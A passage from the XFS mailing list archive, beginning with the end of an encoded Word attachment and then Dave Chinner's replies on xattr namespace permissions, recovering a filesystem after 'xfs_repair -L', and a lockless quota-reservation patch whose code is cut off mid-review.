NYTTyEjxuUWYSxCo4nEXDWWIqrur1goZAIoJqlzYm4DyCfqr4mIvX8aYor8qRQ+UT9BfFa4Hysf8 OB5fa6Z5Dl9aHdL2Glvv3QsRiHixDrI9UEsPY+sdnEPQTLDexLl8EkmMrXfwHn06554H39woeWod ix2PWqBYh0Oh4Gaj22IdlBLt9Swssg5QCatvgdWMay2ArEn3ir/z5d/EbIsBsnR+1qzdzgODB6AE kc7Q365FWn+G7hs4j4pyGcGfSxLu0NAGhp1HRdP5pOqdRYybFT4LoGYV0AKoWSm0ADLkh/nMk9dE Okjz4miBZU3LeRXDtCMz89iamXMguxLQUt0knL8Mu9ecC9W6SUCxDlC1bhJQrKNTqmV53SRgtVY3 CViGqmGOUZFTbYyyrptFoPwkQLCoHfImALVD3gSgdsibANScvOtB2iNvApY1N+ScWiRvAhBOsfmq nwMVyZsAZM0Niu3034yyuodSjn+5bYG8CSjWAaqSNwHFOjom8iZg4RSbTChh5VRHwGqHvAlA7ZA3 Aagd8iYAtUPeBKB2yJsA1Jy860HaI28CljU35JxaJG8CkDU95EBF8iYA4RQbbjhI3rjrPzt5E1Cs A1QlbwKKdXRKhJofUglY1gEqYeXkTcDCKTbJoLEwuW2Maoe8CRa1Q94EoHbImwDUDnkTgJqTdz1I e+RNwLLmhpxTi+RNALKmhxyoSN4EIGtuOEjeuBk/O3kTUKwDVCVvAop1dEqEmvMcAcs6QCWsnLwJ WJgvjcmbAIRTHgpkY1E75E2wqB3yJgC1Q94EoObkXQ/SHnkTsKy5IefUInkTgKzpIQcqkjcByJob DpI37pHPTt4EFOsAVcmbgGIdnRKh5uRNwLIOUAkrpzoCVjvkTQDCxGxM3gQgnPIAINxFNmFqh7wJ FrVD3gSg5uRdD9IeeROwrLkh59QieROArOkhByqSNwHImhvkPVu4L0q+ntozJAH1nkF2q4EM2DcE iQqoDbziCx5DkxWvvx3SEDCz0ALRkB5UE58J8dahXeweGBKEDOXPAl/gle57vKVTaEQYjI90Elx/ c+G8VA0wlXWYUvs3b6B7qNguhO1JsnEI9EzvV9Cys8pulktp0CAk+7p0CxC2yF1CQxDDjh/Z4gNz sJ9KN/rgv2w1IPwOYLimiuItAcaDZqhjKN0KjOH6O8Luei8ypfQ1+N1hSc3bu4x5VMtUXvk+pmGv oqFyhIOXxVXUqnpB8xVqUqcYhGQWqBYy+OUymoNh0ASI/xVTwZq/Z0oUvL/gQfA1i6WvU7EyTw34 IlVve12scCVRM5GmIjSvj/ECOGpySADEvKiMepRGmJMhWoczHkMH1zFX9w+4Wt1jNUSf6mWzXntJ ukv+QUUT3eqAiswY9Mx9I1vgcGOwrikLsrbE3XaBpsIEbi3rld1ubzA8H16o9dBVKSM7UxgXCXyC 4jhqNmBvL3vrBOKKXYLl/Yy29VQfX3FXZ+MHDdN6GTWuND/OODTPAsP0VPejejyHZsdEdS5orXSP pJ6FT9VJunVyiHtBPhxundQego+9/tOJe+2H0Oz7mt85VyJkeC8y6z89+BL7Tw++8ZLqMPqr0IA6 VL5Kvi80oOox3YC6A1ddqKTw7uVnXXir+wejq3tjDVlrykdiyiECFgzVKVzMLdm0CfR/JLUgrG+z zcAeq5lmMt3/5oFiTdpjPy3yJJthyzLwfAYk72OrqrQSENnhaKyLb2EOMqDkKpxyOniMyoFPYA7K 0wkNM3Qy52kK/bJ1OWv2LTXe4CxpXdHbm39uft7+sP375vfNx82vzubT5o/Nb/Dz+/bD5uP2w/Zv m9+czb/g7X83nw7HRPPYXlB0DpuDYoqA2cY9ytrlz6hi0ULAXWF6/ugomlX9f/7svF2tBJt/Q978 0m72jOq2dGvZ86SSPc9YEAhoVMdeOyoH6WObOYfqD3Qmk3JKakQd5nLHllDmJGVlhSwfwPqlntAP u7LV0wEqli01Btu35uRBpqrTSmg2/9n8vPm0/XH7wdn8tP0H5Nwf2x+BsD4+gKCe1KVYKWLm8Ojz V+UckfvxMzk2Y8rk6f8AAAD//wMAUEsDBBQABgAIAAAAIQDt2aYm/gEAAOsDAAAQAAgBZG9jUHJv cHMvYXBwLnhtbCCiBAEooAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJxTS27bMBDdF+gd BO1jWrbzgTFmUDgosmgbA1aSNUONbKISSZCMEfcuvUNRoEg3vYOO1KFUK3LaVbUQ3nw08/T4CJdP dZXs0Hll9CLNRuM0QS1NofRmkd7m708u0sQHoQtRGY2LdI8+veRv38DKGYsuKPQJjdB+kW5DsHPG vNxiLfyIypoqpXG1CBS6DTNlqSReGflYow5sMh6fMXwKqAssTmw/MO0mznfhf4cWRkZ+/i7fWyLM IcfaViIg/xTpVKPChBpYn4XcBFHlqkY+nVK+j2AlNuj5BFgH4N64wvPp5BRYB2G5FU7IQBLy7OL0 DNggAe+srZQUgdTlH5V0xpsyJDetDkkcAGzYAqTNGuWjU2HPx8CGIXxQmqhktLlDxM2JjRN26/ks EuwjWEtR4ZIU4KWoPAJ7ScA1ini6K6GIMezCfIcyGJd49YXOd5ImD8Jj1G2R7oRTQgfSL7Z1QYsr 64PjzdfmW/PcfKf3r+Zn8wMYtXWlFg6/GGI141nbQOC4MQ7o6FDhmGiuQoX+pqTfDP/gnQ15txw6 1gM6A9jveDV1aWor9J6W94i0/uxvbW6uon3+yHmcHFjgXoXt2goZPZOdnw/NMCjBmjyDBZ3uYeBL Aq5JelfFrWQkvcHi0PN3Idrrrru7PJuNxvS0fjrkyBT9peK/AQAA//8DAFBLAwQUAAYACAAAACEA Qc8OmoMCAADdCAAAEgAAAHdvcmQvZm9udFRhYmxlLnhtbLSVUY+iMBSF3zfZ/0D6PlIQHTWjE3Uk 2YfdTXac7HPFos3QlrRV1n+/t0XREdyRh4VI4LQc6Oe5l6fnPzzz9lRpJsUYBR2MPCoSuWZiM0Zv y/hhgDxtiFiTTAo6Rgeq0fPk65enYpRKYbQH9ws94skYbY3JR76vky3lRHdkTgUMplJxYuBSbXxO 1Psuf0gkz4lhK5Yxc/BDjPvoaKPucZFpyhL6IpMdp8K4+31FM3CUQm9Zrk9uxT1uhVTrXMmEag1r 5lnpxwkTlU0Q1Yw4S5TUMjUdWIxfvpFvreD2ALszniGPJ6NvGyEVWWXArggiNDmC84qRIBzE3/BU S1u7oZwIqWkAo3uSjRHu4dqGfOuRbInS1FQTw1JOCWfZ4aSSnZGlnjOTbE/ynihm36gc0mwDAzu9 wvC844ZKJYBEfFTC2pzuRyVxPoOLu0ABn8oZ3t4vs1NDsWScau8HLbxfkhPRCCTEIe7jLoCJ4BfC WdQIZD5vAqKcrwN4J5EFvHg4jeMzkTkoj4MoOCpnIsOj0kjErT8ofe4nMicZWyl2g0TsCFgiEXCA YwsSumBal/NbkMDhJYkIFjWdV8qZxInNP0gMHdH7SSzJFv67GyBmEAmLwIYi+v8goCbCRbVsCLeN RB/3ZteRCD+LRIBbR2Im5TsUh/czW3uv5gBVbOvoum+EwMIy6bndRaRFONqXiYt3OHg8l4lT4HDN pFJuhwO3DccU+lnmvQkGHy7qfX+9gaSMiYVR7s31MsBNnaN9vcSPcQyN46JzLIYvcF0pVb10T3Nu IOnG7WMyJxwax62CscEoy8X20nado304bA+tdw4c1UncEY7g03AcPy968hcAAP//AwBQSwMEFAAG AAgAAAAhABDSPSYEAwAA4A0AABIAAAB3b3JkL251bWJlcmluZy54bWy0V8lu2zAQvRfoPxgEeowl 2fJSI0qQpS5cFEWBpuiZlmibCBeBpOTk2p/p5/UXOqQWO7GhRol8MS3OzOO8N+SIOr984KyXE6Wp FBEK+j7qERHLhIp1hH7ezc+mqKcNFglmUpAIPRKNLi/evzvfzkTGl0SBYw8whJ5t0zhCG2PSmefp eEM41n1OYyW1XJl+LLknVysaE28rVeIN/MB3/1IlY6I14NxgkWONSjh+iCZTImCtlVQcG92Xau1x rO6z9AzQU2zokjJqHgHbH1cwMkKZErMyobM6IRsyKxIqhypCHbA4sm4ReSvjjBNh3IqeIgxykEJv aLqj8Vo0oLipUsqbSOScVX7bNAgP1qspv6QGtwpvoRQ7wAO4I2IkRRBnhQ62vruqPkcM/CYyZUUs RJ3DS1J4umaVCcdU1DCvk2ZfXDgSb9nfn5XM0jqdlL4NbSHuayx7Mltk5o/dydunplsBHBzdHxuc EtTj8WyxFlLhJYOMtkHYszsSXUC3wEttFI7Nt4z3njwtkgj5zkVomoAtxyxCo/BTMBldh8izwTxj hn4lOWF3jympfNwss7OFl+Epq2zBzZU/mV8PCgvLrYHCUK0FPU2Z2rnwgoY25/XkMmOMmDr+jjzU pr+//9TzX+IKhZFV6Z5+VzZrA5zLsfKBJRD8TyXoPRn4FsXbOVJh+VucwgoPGyzWrhcPx5V3ia6K RdRcCqPBE+uYwpb6Bd62e0MDgugr0PT5HBUAn5AVBlHLBBwWJAIC2YT35QosjoEeB60th6IGrlT/ ly8hMeW4rAwA7uv3YdDvQL8gDCtJKqX3BXTmBgWP0x2cgu6wC7qDoN4Bx+g6c2u6w1PQDTuhO502 VXdgza3phqegO+qCLhzvJrrO3Jru6BR0x13QDYeNzc+ZW9OFO1/3rWrSBd2R39iqnLk13ckp6E47 oTtpbFUja25NFz5Euq/uxy7ojsPGVuXML6ALL6S9S5J9D8NtAeLg196RihfvnsfCXhbcZanqHODp 7hMwFl9mF/8AAAD//wMAUEsDBBQABgAIAAAAIQDR/AP/ugEAAAMFAAAUAAAAd29yZC93ZWJTZXR0 aW5ncy54bWzklNtO4zAQhu+ReIfI99RJVAqNmiIVBEJarXY5PIDjOI2F7bFst9ny9DtJegiFlej1 5sb2HP7MzBdndvNHq2gtnJdgcpKMYhIJw6GUZpmT15f7i2sS+cBMyRQYkZON8ORmfn42a7JGFM8i BIz0EaoYn2mekzoEm1HqeS008yOwwqCzAqdZwKNbUs3c28pecNCWBVlIJcOGpnE8IVsZ9x0VqCrJ xR3wlRYmdPnUCYWKYHwtrd+pNd9Ra8CV1gEX3mM/WvV6mkmzl0nGn4S05A48VGGEzdC+ItpKYXoS dzutSKR59rg04FihcIJNMiZzHF8p1367Rk0mS5z+dDK5jJNJOu0CCig3d3KNzjVT6CW0Dcfp/RBV 2FnjvfVJLusvzC9gP8cuIATQR3YsaFG69h3hkGOQOsFA/54T/DZwYxnHLro9BwUIi60C9GWoQWWn ZRYfKjot1w07PyWVdhS2Tbc8bmupyiMo6dXldIxP2kNRwN9+ryCI3fS+5nKV/oPM0DFgk8SH+I90 9p7/mk+Paj7r1x2oI2tLDmyQWr6Le3ALB40Xrrs2TClofv18wAMmDX5d878AAAD//wMAUEsDBBQA BgAIAAAAIQDqLGUueQEAAOACAAARAAgBZG9jUHJvcHMvY29yZS54bWwgogQBKKAAAQAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACEkk1PwzAMhu9I/Icq9zZNB2hUbScB2olJSAyBuIXE28KaNEqy dfv3pB/rVoHELbZfP7HfJJsdZBnswVhRqRyRKEYBKFZxodY5elvOwykKrKOK07JSkKMjWDQrrq8y plNWGXgxlQbjBNjAk5RNmc7RxjmdYmzZBiS1kVcoX1xVRlLnQ7PGmrItXQNO4vgOS3CUU0dxAwz1 QEQ9krMBqXembAGcYShBgnIWk4jgs9aBkfbPhrZyoZTCHbXfqR/3ks1ZVxzUBysGYV3XUT1px/Dz E/yxeH5tVw2FarxigIqMs9QJV0KR4fPRn+zu6xuY69JD4AvMAHWVKex+u2t7TonG6i0c68pw69tG ke/jYJkR2vkH7KCjhFeX1LqFf9GVAP5w7Pm/8801Bvai+QkFSdqLhtiv07rXTQk88H6knXunyvvk 8Wk5R0USk0lISEimS3KfkiSN489mn1F/40+XkP1k/xKTkNw2xJvpmHgCdNaM/2TxAwAA//8DAFBL AQItABQABgAIAAAAIQBruNnWrQEAAJsHAAATAAAAAAAAAAAAAAAAAAAAAABbQ29udGVudF9UeXBl c10ueG1sUEsBAi0AFAAGAAgAAAAhAB6RGrfzAAAATgIAAAsAAAAAAAAAAAAAAAAA5gMAAF9yZWxz Ly5yZWxzUEsBAi0AFAAGAAgAAAAhAEg23qNbAQAAxwUAABwAAAAAAAAAAAAAAAAACgcAAHdvcmQv X3JlbHMvZG9jdW1lbnQueG1sLnJlbHNQSwECLQAUAAYACAAAACEArifei5ANAACcUAAAEQAAAAAA AAAAAAAAAACnCQAAd29yZC9kb2N1bWVudC54bWxQSwECLQAUAAYACAAAACEAcDOTi00CAABQCAAA EAAAAAAAAAAAAAAAAABmFwAAd29yZC9mb290ZXIxLnhtbFBLAQItABQABgAIAAAAIQDz0GxR+gEA AEwGAAASAAAAAAAAAAAAAAAAAOEZAAB3b3JkL2Zvb3Rub3Rlcy54bWxQSwECLQAUAAYACAAAACEA XG5GSvoBAABGBgAAEQAAAAAAAAAAAAAAAAALHAAAd29yZC9lbmRub3Rlcy54bWxQSwECLQAUAAYA CAAAACEApV59LccGAADXGwAAFQAAAAAAAAAAAAAAAAA0HgAAd29yZC90aGVtZS90aGVtZTEueG1s UEsBAi0AFAAGAAgAAAAhAHWrI486BAAASQsAABEAAAAAAAAAAAAAAAAALiUAAHdvcmQvc2V0dGlu Z3MueG1sUEsBAi0AFAAGAAgAAAAhADrJIPruCQAAzkcAABoAAAAAAAAAAAAAAAAAlykAAHdvcmQv c3R5bGVzV2l0aEVmZmVjdHMueG1sUEsBAi0AFAAGAAgAAAAhANUvkdFmCQAA3UQAAA8AAAAAAAAA AAAAAAAAvTMAAHdvcmQvc3R5bGVzLnhtbFBLAQItABQABgAIAAAAIQDt2aYm/gEAAOsDAAAQAAAA AAAAAAAAAAAAAFA9AABkb2NQcm9wcy9hcHAueG1sUEsBAi0AFAAGAAgAAAAhAEHPDpqDAgAA3QgA ABIAAAAAAAAAAAAAAAAAhEAAAHdvcmQvZm9udFRhYmxlLnhtbFBLAQItABQABgAIAAAAIQAQ0j0m BAMAAOANAAASAAAAAAAAAAAAAAAAADdDAAB3b3JkL251bWJlcmluZy54bWxQSwECLQAUAAYACAAA ACEA0fwD/7oBAAADBQAAFAAAAAAAAAAAAAAAAABrRgAAd29yZC93ZWJTZXR0aW5ncy54bWxQSwEC LQAUAAYACAAAACEA6ixlLnkBAADgAgAAEQAAAAAAAAAAAAAAAABXSAAAZG9jUHJvcHMvY29yZS54 bWxQSwUGAAAAABAAEAAGBAAAB0sAAAAA ------=_NextPart_000_0A91_01CEF9F9.2D0861A0-- From david@fromorbit.com Sun Dec 15 17:55:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 662DE7F3F for ; Sun, 15 Dec 2013 17:55:06 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id ECB0CAC002 for ; Sun, 15 Dec 2013 15:55:05 -0800 (PST) X-ASG-Debug-ID: 1387151703-04cb6c537b77a620001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id vOsPb5SlZEEXazsY for ; Sun, 15 Dec 2013 15:55:03 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsIANdArlJ5LHyk/2dsb2JhbABZgwqDPLBmhU+BGhd0giUBAQQBOhwREgULCAMYCSUPBSUDIROHfAfHGxcWjwMHhDYEmBWSFYFsgVIo Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Dec 2013 10:24:46 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VsLWF-00028C-BN; Mon, 16 Dec 2013 10:54:43 +1100 Date: Mon, 16 Dec 2013 10:54:43 +1100 From: Dave Chinner To: "L.A. Walsh" Cc: xfs-oss Subject: Re: BTW - to xfs folk, 'security attr' doesn't seem very useful w/current copy policies Message-ID: <20131215235443.GT31386@dastard> X-ASG-Orig-Subj: Re: BTW - to xfs folk, 'security attr' doesn't seem very useful w/current copy policies References: <52A96211.3050602@tlinx.org> <20131212181315.GB20500@samba2> <52AAC7CC.8000802@tlinx.org> <20131213105314.GA2117@infradead.org> <52AB7CDC.5040801@tlinx.org> <52ADBB00.8050707@tlinx.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52ADBB00.8050707@tlinx.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1387151703 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143129 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Sun, Dec 15, 2013 at 06:21:52AM -0800, L.A. Walsh wrote: > > > On 12/13/2013 1:32 PM, L.A. Walsh wrote: > >On 12/13/2013 2:53 AM, Christoph Hellwig wrote: > >> On Fri, Dec 13, 2013 at 12:39:40AM -0800, L.A. Walsh wrote: > >> >> Does it have to be under a "namespace" that gets > >*stripped* > >>> as soon as the file is copied or "mv'd to another > >>> samba share (i.e. the partition it was moved to is shared with the > >>> same permissions as the first one. > >> > >> Attributes never get "stripped", they simple don't get copied unless > >> explicit action is taken to do so. Setting trusted attributes up on a > >> new file will of course rely privilegues, exactly for the reasons > >> Jeremy pointed out. > ----- > For what purpose? As it stands the security namespace doesn't seem > very useful -- i.e. the 'root' attrs get copied and/or moved on a file > copy/rename which carries the access along with the file contents. > > But I fail to see the usefulness in having a security namespace that > is dropped by default on copies or inter-partition moves. So you want users with no privileges to be able to create and modify security context imformation, such as selinux labels, integrity hashes, etc? Really? > Shouldn't it follow along and be copied much as are the root namespace > entries? There is no "root" attribute namespace that users can manipulate - there is a "trusted" namespace for root users, but that's not what you are talking about. The VFS defined name spaces are: - user - security - trusted (requires CAP_SYS_ADMIN) - system All of the other xattrs fall into these groups. e.g. posix acls: - system.posix_acl_access - system.posix_acl_default What you are doing is conflating how XFS stores xattrs on disk with user visible xattr namespaces. The two are not the same thing. The VFS enforces access to the "trusted" namespace and posix ACLs, security modules enforce access to their own attributes and potentially restrict access to the entire security namespace. Whatever remains is left up to the filesystem to decide access rules. Hence, cp as a user cannot copy trusted xattrs and certain security attributes as a matter of principle, and some security modules only allow security xattr write permission to CAP_SYS_ADMIN (e.g. selinux), and hence cp as a user cannot read and/or write these xattrs to put them on the newly copied file. IOWs, how XFS stores them on disk is irrelevant to access permissions that are enforced by layers above it... > It gets really confusing if a "proxy service" (ex. file server) > for the user, stores attributes in that namespace thinking they will > somehow be useful when the user accesses the file w/o the proxy service -- > i.e. as a normal file. That's never worked. xattrs are only meaningful to the application that created them. Trying to manipulate those xattrs as a user outside the context of the application is almost always going to fail when special permissions are required by the application to manipulate those xattrs. > Was there a specific use-case for being able to tag files with security > attrs that can't be copied, moved or renamed except by root that wouldn't > better be served by signed or 'sealed' (encrypted) content? For most > cases, it would seem that signing to detect tampering would be enough, > though I can think of cases where sealing to prevent knowledge of > who has what access would also be useful. > > Something to think about before others try to use the security field to > store attrs they want kept with the content and not the inode. Access to the security xattr namespace is entirely controlled by the kernel security modules. If you want to use that namespace, you have to follow whatever rules your currently loaded security module enforces. That, in general, means that the only thing you can guarantee is that the security xattr namespace requires CAP_SYS_ADMIN for write access. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Dec 15 18:01:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AAF507F3F for ; Sun, 15 Dec 2013 18:01:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9998B8F804C for ; Sun, 15 Dec 2013 16:01:46 -0800 (PST) X-ASG-Debug-ID: 1387152103-04cb6c537e77aa00001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 4RLROkkvO5lGLoJh for ; Sun, 15 Dec 2013 16:01:44 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmwUADRCrlJ5LHyk/2dsb2JhbAA/GoMKOIMEoS8DjzSFT4EaF3SCJQEBBAE6HCMFCwgDGAklDwUlAyETh3wHDjbGaxaOOgdCB4Q2AQOYFYpMh0mDPiiBLQEeBg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Dec 2013 10:31:43 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VsLcz-00029Z-UB; Mon, 16 Dec 2013 11:01:41 +1100 Date: Mon, 16 Dec 2013 11:01:41 +1100 From: Dave Chinner To: Rafael Weingartner Cc: xfs@oss.sgi.com Subject: Re: XFS_REPAIR on LVM partition Message-ID: <20131216000141.GU31386@dastard> X-ASG-Orig-Subj: Re: XFS_REPAIR on LVM partition References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1387152103 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.51 X-Barracuda-Spam-Status: No, SCORE=0.51 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143129 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: 0.10 BSF_SC0_SA085 Custom Rule SA085 On Sun, Dec 15, 2013 at 08:47:30PM -0200, Rafael Weingartner wrote: > Hi folks, > I am having some troubles with a XFS over one LVM partition. After an > unexpected reboot, I am getting the following message when I try to mount > it: > *mount: Structure needs cleaning* And the error in dmesg is? > I tried "sudo xfs_check /dev/mapper/volume". Sadly, I got the message: > xfs_check: cannot init perag data (117) xfs_check is deprecated, please use "xfs_repair -n" instead. > *ERROR: The filesystem has valuable metadata changes in a log which needs > to* > *be replayed. Mount the filesystem to replay the log, and unmount it > before* > *re-running xfs_check. If you are unable to mount the filesystem, then use* > *the xfs_repair -L option to destroy the log and attempt a repair.* > *Note that destroying the log may cause corruption -- please attempt a > mount* > *of the filesystem before doing this* > > So, I tried: > xfs_repair -L Ok, so you went immediately for the big hammer. There's the possibility that might not be able to recover your filesystem from whatever went wrong now that the log has been zeroed. > The command is running for over 3 hours and still just dots on my screen, I > have no idea of what is happening. Any ideas how I can get it to work > again? Or at least some work around that would enable me to extract the > data that it contains. I'm guessing it can't find or validate the primary superblock, so it's looking for a secondary superblock. Please post the output of the running repair so we can see exactly what it is doing. Also we need more information about your problem - why did the machine reboot? what's your storage configuration? You hardware, etc. http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F > The server is a Ubuntu server 12.04. > The XFS version is: xfs_info version 3.1.7 > If you need I can provide you with more info. That's an old version of xfsprogs - you might want to start by upgrading it to 3.11... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Dec 15 18:11:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 606A87F3F for ; Sun, 15 Dec 2013 18:11:46 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3234C304039 for ; Sun, 15 Dec 2013 16:11:43 -0800 (PST) X-ASG-Debug-ID: 1387152700-04bdf00fde4b380001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id ApWvIVDss7QTyutS for ; Sun, 15 Dec 2013 16:11:41 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwIAIhErlJ5LHyk/2dsb2JhbABZgwqDPLBmhU+BGhd0giUBAQQBJxMcHgUQCAMOBwMJJQ8FJQMhE4d8B8ceFxaONk0HhDYEmBWKTIdJgz4ogS0 Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Dec 2013 10:41:35 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VsLmX-0002Ah-1e; Mon, 16 Dec 2013 11:11:33 +1100 Date: Mon, 16 Dec 2013 11:11:33 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/3] xfs: xfs_trans_dqresv() can be made lockless Message-ID: <20131216001132.GV31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfs: xfs_trans_dqresv() can be made lockless References: <1386841258-22183-1-git-send-email-david@fromorbit.com> <1386841258-22183-4-git-send-email-david@fromorbit.com> <20131213133745.GC13689@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213133745.GC13689@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1387152700 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143129 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 05:37:45AM -0800, Christoph Hellwig wrote: > On Thu, Dec 12, 2013 at 08:40:58PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > xfs_trans_dqresv() serialises dquot modifications by taking the > > dquot lock while it is doing reservations. The thing is, nothing it > > does really requires exclusive access to the dquot except for the > > reservation accounting. We can do that locklessly with cmpxchg. > > Can you split the various refactorings into separate patches to make > this more readable? Yeah, I probably can - this is just the patch that I ended up with after making it all work.... > > +do_ninos: > > + if (ninos == 0) > > + goto do_trans; > > + > > + smp_mb(); > > + timer = be32_to_cpu(dqp->q_core.d_itimer); > > + warns = be16_to_cpu(dqp->q_core.d_iwarns); > > + warnlimit = dqp->q_mount->m_quotainfo->qi_iwarnlimit; > > + hardlimit = be64_to_cpu(dqp->q_core.d_ino_hardlimit); > > + if (!hardlimit) > > + hardlimit = q->qi_ihardlimit; > > + softlimit = 